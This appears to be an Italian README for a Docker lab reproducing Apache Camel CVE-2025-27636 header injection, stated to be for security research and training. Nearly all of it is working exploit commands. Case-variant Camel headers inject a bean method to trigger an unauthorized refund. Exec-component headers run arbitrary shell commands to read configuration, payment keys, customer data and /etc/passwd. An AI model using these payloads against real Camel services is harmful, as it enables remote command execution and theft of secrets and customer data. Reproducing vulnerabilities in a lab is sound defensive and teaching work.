
Dimostra Apache Camel CVE-2025-27636 con riproduzione basata su Docker di attacchi di injection negli header, inclusa l'iniezione di metodi bean e l'esecuzione di comandi per ricerca e formazione sulla sicurezza.
Questo progetto dimostra le vulnerabilità di sicurezza in Apache Camel relative agli attacchi di injection negli header.
Crea l'immagine Docker:
docker build -t camel-cve-demo .
Esegui il container con tutte le porte necessarie:
docker run -d `
--name camel-cve-demo `
-p 8080:8080 `
-p 8081:8081 `
-p 8484:8484 `
-v ${PWD}/logs:/app/logs `
-e JAVA_OPTS="-Xmx512m -Xms256m" `
camel-cve-demo
Sfrutta l'endpoint vulnerabile iniettando nomi di metodi:
# Attacco riuscito - header sensibile alle maiuscole
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "cAmelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
# Alternativa - injection tramite parametro query
curl.exe "http://localhost:8081/api/payment/callback?cAmelBeanMethodName=processRefund" -X POST -d "order_id=ORD999&amount=9999.99"
Confronto (questi dovrebbero fallire):
# Maiuscole errate - non dovrebbe funzionare
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "camelbeanmethodname: processRefund" -d "order_id=ORD999&amount=9999.99"
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "CamelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
Sfrutta il componente exec per eseguire comandi arbitrari:
Ricognizione:
# Controlla la directory corrente
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c pwd"
# Elenca la directory di configurazione
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c ls -la /app/config/"
# Trova i file di configurazione
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c find / -name database.conf 2>/dev/null"
Esfiltrazione dei Dati:
# Leggi la configurazione del database
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /etc/app/config/database.conf"
# Leggi i segreti di pagamento
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /app/secrets/payment.key"
# Leggi i dati dei clienti
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/data/customers/customers.csv"
# Leggi i log di audit
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/log/audit/audit.log"
# Leggi gli utenti di sistema
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/etc/passwd"
# Elenca i processi
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: ps" -H "cAmelExecCommandArgs:aux"
Controlla i log degli attacchi all'interno del container:
# Visualizza i tentativi di rimborso non autorizzati
docker exec camel-cve-demo cat /tmp/unauthorized_refund.txt